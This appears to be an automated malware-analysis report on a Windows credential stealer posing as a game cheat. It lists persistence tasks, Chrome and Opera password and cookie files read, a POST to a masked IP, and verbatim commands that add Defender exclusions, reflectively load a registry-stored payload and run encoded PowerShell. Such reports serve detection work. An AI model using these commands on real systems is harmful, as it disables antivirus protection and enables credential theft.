Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\dialersvc64
- %WINDIR%\tasks\dialersvc64.job
- <SYSTEM32>\tasks\steamhost
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
Injects code into
the following system processes:
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
Reads files which store third party applications passwords
- %HOMEPATH%\desktop\february_catalogue__2015.doc
- %HOMEPATH%\desktop\fi51.doc
- %HOMEPATH%\desktop\file_p_00000000_1371597592.docx
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\holycrosschurchinstructions.docx
- %HOMEPATH%\desktop\nwfieldnotes1966.docx
- %HOMEPATH%\desktop\thlps_keeper_mayer_1965.docx
- %HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %APPDATA%\opera software\opera stable\login data
Modifies file system
Creates the following files
- %TEMP%\svchost.exe
- %TEMP%\tmpbb94.tmp
- %TEMP%\tmpbb93.tmp
- %TEMP%\tmpbb83.tmp
- %TEMP%\tmpbb82.tmp
- %TEMP%\tmpbb81.tmp
- %TEMP%\tmpbb80.tmp
- %TEMP%\tmpbb37.tmp
- %TEMP%\tmpbb7f.tmp
- %TEMP%\tmpbb6d.tmp
- %TEMP%\tmpbb5c.tmp
- %TEMP%\tmpbb5b.tmp
- %TEMP%\tmpbb5a.tmp
- %TEMP%\tmpbb59.tmp
- %TEMP%\tmpbb49.tmp
- %TEMP%\tmpbb6e.tmp
- %TEMP%\tmpbb48.tmp
- %TEMP%\tmpbb95.tmp
- %TEMP%\tmpbbcd.tmp
- %TEMP%\tmpbc03.tmp
- %TEMP%\tmpbc02.tmp
- %TEMP%\tmpbbe2.tmp
- %TEMP%\tmpbbe1.tmp
- %TEMP%\tmpbbe0.tmp
- %TEMP%\tmpbbcf.tmp
- %TEMP%\tmpbba7.tmp
- %TEMP%\tmpbb96.tmp
- %TEMP%\tmpbbbc.tmp
- %TEMP%\tmpbbbb.tmp
- %TEMP%\tmpbbba.tmp
- %TEMP%\tmpbbb9.tmp
- %TEMP%\tmpbba9.tmp
- %TEMP%\tmpbba8.tmp
- %TEMP%\tmpbbce.tmp
- %TEMP%\tmpbb36.tmp
- %TEMP%\tmpbb26.tmp
- %TEMP%\tmpbb25.tmp
- %TEMP%\tmpa722.tmp
- %TEMP%\tmpa721.tmp
- %TEMP%\tmpa701.tmp
- %TEMP%\tmpa6f1.tmp
- %TEMP%\tmpa154.tmp
- %TEMP%\tmpa734.tmp
- %TEMP%\tmpa153.tmp
- %TEMP%\tmpa132.tmp
- %TEMP%\tmpa131.tmp
- %TEMP%\tmpa130.tmp
- %TEMP%\tmpa120.tmp
- %TEMP%\tmpa10f.tmp
- %TEMP%\explorer.exe
- %TEMP%\tmpa143.tmp
- %TEMP%\tmpa745.tmp
- %TEMP%\tmpa733.tmp
- %TEMP%\tmpa746.tmp
- %TEMP%\tmpbb04.tmp
- %TEMP%\tmpbacf.tmp
- %TEMP%\tmpbaf4.tmp
- %TEMP%\tmpbae3.tmp
- %TEMP%\tmpbae2.tmp
- %TEMP%\tmpbae1.tmp
- %TEMP%\tmpbad1.tmp
- %TEMP%\tmpbad0.tmp
- %TEMP%\tmpbabe.tmp
- %TEMP%\tmpb79b.tmp
- %TEMP%\tmpbabd.tmp
- %TEMP%\tmpbaac.tmp
- %TEMP%\tmpbaab.tmp
- %TEMP%\tmpba8b.tmp
- %TEMP%\tmpba6b.tmp
- %TEMP%\tmpb79c.tmp
- %TEMP%\tmpbc23.tmp
- %TEMP%\tmpbc24.tmp
Deletes the following files
- %TEMP%\tmpa10f.tmp
- %TEMP%\tmpbb83.tmp
- %TEMP%\tmpbb93.tmp
- %TEMP%\tmpbb81.tmp
- %TEMP%\tmpbb82.tmp
- %TEMP%\tmpbb7f.tmp
- %TEMP%\tmpbb94.tmp
- %TEMP%\tmpbb80.tmp
- %TEMP%\tmpbb6e.tmp
- %TEMP%\tmpbb5b.tmp
- %TEMP%\tmpbb5c.tmp
- %TEMP%\tmpbb59.tmp
- %TEMP%\tmpbb5a.tmp
- %TEMP%\tmpbb48.tmp
- %TEMP%\tmpbb6d.tmp
- %TEMP%\tmpbacf.tmp
- %TEMP%\tmpbba7.tmp
- %TEMP%\tmpbc02.tmp
- %TEMP%\tmpbc03.tmp
- %TEMP%\tmpbbe1.tmp
- %TEMP%\tmpbbe2.tmp
- %TEMP%\tmpbbcf.tmp
- %TEMP%\tmpbbe0.tmp
- %TEMP%\tmpbb49.tmp
- %TEMP%\tmpbb95.tmp
- %TEMP%\tmpbbbb.tmp
- %TEMP%\tmpbbbc.tmp
- %TEMP%\tmpbbb9.tmp
- %TEMP%\tmpbbba.tmp
- %TEMP%\tmpbba8.tmp
- %TEMP%\tmpbba9.tmp
- %TEMP%\tmpbbce.tmp
- %TEMP%\tmpbb96.tmp
- %TEMP%\tmpbb36.tmp
- %TEMP%\tmpbb37.tmp
- %TEMP%\tmpbb25.tmp
- %TEMP%\tmpa154.tmp
- %TEMP%\tmpa120.tmp
- %TEMP%\tmpa130.tmp
- %TEMP%\tmpa131.tmp
- %TEMP%\tmpa132.tmp
- %TEMP%\tmpa143.tmp
- %TEMP%\tmpbc24.tmp
- %TEMP%\tmpa153.tmp
- %TEMP%\tmpa746.tmp
- %TEMP%\tmpa701.tmp
- %TEMP%\tmpa721.tmp
- %TEMP%\tmpa722.tmp
- %TEMP%\tmpa733.tmp
- %TEMP%\tmpa734.tmp
- %TEMP%\tmpa6f1.tmp
- %TEMP%\tmpbbcd.tmp
- %TEMP%\tmpb79b.tmp
- %TEMP%\tmpba6b.tmp
- %TEMP%\tmpb79c.tmp
- %TEMP%\tmpbb26.tmp
- %TEMP%\tmpbaf4.tmp
- %TEMP%\tmpbb04.tmp
- %TEMP%\tmpbae2.tmp
- %TEMP%\tmpbae3.tmp
- %TEMP%\tmpba8b.tmp
- %TEMP%\tmpbad1.tmp
- %TEMP%\tmpa745.tmp
- %TEMP%\tmpbad0.tmp
- %TEMP%\tmpbabd.tmp
- %TEMP%\tmpbabe.tmp
- %TEMP%\tmpbaab.tmp
- %TEMP%\tmpbaac.tmp
- %TEMP%\tmpbae1.tmp
- %TEMP%\tmpbc23.tmp
Network activity
Connects to
- '16#.#5.169.73':49194
- 'ap#.ip.sb':443
TCP
HTTP POST requests
- http://16#.##.169.73:49194/ via 16#.#5.169.73
Other
- 'ap#.ip.sb':443
UDP
- DNS ASK ap#.ip.sb
Miscellaneous
Creates and executes the following
- '%TEMP%\explorer.exe'
- '%TEMP%\svchost.exe'
- '%HOMEPATH%\chrome\updater.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('Error #103 Cheat cannot start properly because antivirus is not disabled. Please dis...
- '%WINDIR%\syswow64\cmd.exe' /c start %TEMP%\svchost.exe
- '%WINDIR%\syswow64\cmd.exe' /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreferenc...
- '%WINDIR%\syswow64\cmd.exe' /c start %TEMP%\explorer.exe
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('Error #103 Cheat cannot start properly because antivirus is not disabled. Please disable antivirus...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
- '<SYSTEM32>\dllhost.exe' /Processid:{b844de6e-3ff4-4867-abe0-4807fcead499}
- '<SYSTEM32>\choice.exe' /C Y /N /D Y /T 3
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHgAdQBqAGYAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB1AGIAZgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwA...
